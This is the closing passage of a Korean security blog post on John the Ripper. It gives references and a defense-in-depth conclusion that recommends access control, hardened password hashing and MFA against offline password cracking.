JtR을 활용한 자체 점검 (보안팀 정기 Task) 연 1회 JtR 구동으로 약한 패스워드 임직원 색출

11. 공식 레퍼런스 (References)

  • Openwall John the Ripper 공식 페이지: https://www.openwall.com/john/
  • John the Ripper Jumbo GitHub Repo: https://github.com/openwall/john
  • MITRE ATT&CK - Credential Access: https://attack.mitre.org/tactics/TA0006/

12. 결론 및 비즈니스 임팩트 (Wrap-up)

엔지니어링 방어 철학

John the Ripper와 같은 오프라인 크래킹 도구의 파괴력을 무력화하는 유일한 길은 '종심 방어(Defense in Depth)' 뿐입니다. 해시 파일 유출을 막는 1차 방어선(Access Control), 유출되더라도 시간과 자원의 한계를 부여하는 2차 방어선(Hashing KDF Hardening), 그리고 평문이 탈취되어도 인증을 거부하는 최종 방어선(MFA/2FA)이 유기적으로 결합되어야 합니다.

CISO 및 보안 관리 관점

아무리 강력한 방화벽과 NIDS를 구축하더라도, 임직원의 약한 패스워드 하나가 크래킹되어 정상 세션으로 위장 유입되는 위협은 탐지하기 극히 어렵습니다. 보안 리더십은 사용자 편의성에 타협하지 않는 강력한 패스워드 정책과 다중 인증 체계를 전사 표준으로 강제해야 합니다.

💡 Related Posts

  • 👉 리눅스 서버 초기 구축 시 필수 OS 하드닝 가이드 및 PAM 설정
  • 👉 Wazuh와 Graylog를 연동한 파일 무결성 모니터링(FIM) 아키텍처
  • 👉 [위협 헌팅] RCE 공격 이후 발생하는 LPE(로컬 권한 상승) 기법 분석

오류나 기술적 추가 질문은 언제든 댓글로 남겨 주세요.


Architected by Elpam.k

'보안 기술 > 해킹 툴' 카테고리의 다른 글

ffuf (Fuzz Faster U Fool)  (0) 2026.05.14
Responder  (0) 2026.04.08
AWS CLI  (0) 2026.04.08
Impacket(psexec.py)  (0) 2026.04.08
Netcat(nc)  (0) 2026.04.08

Discussion 0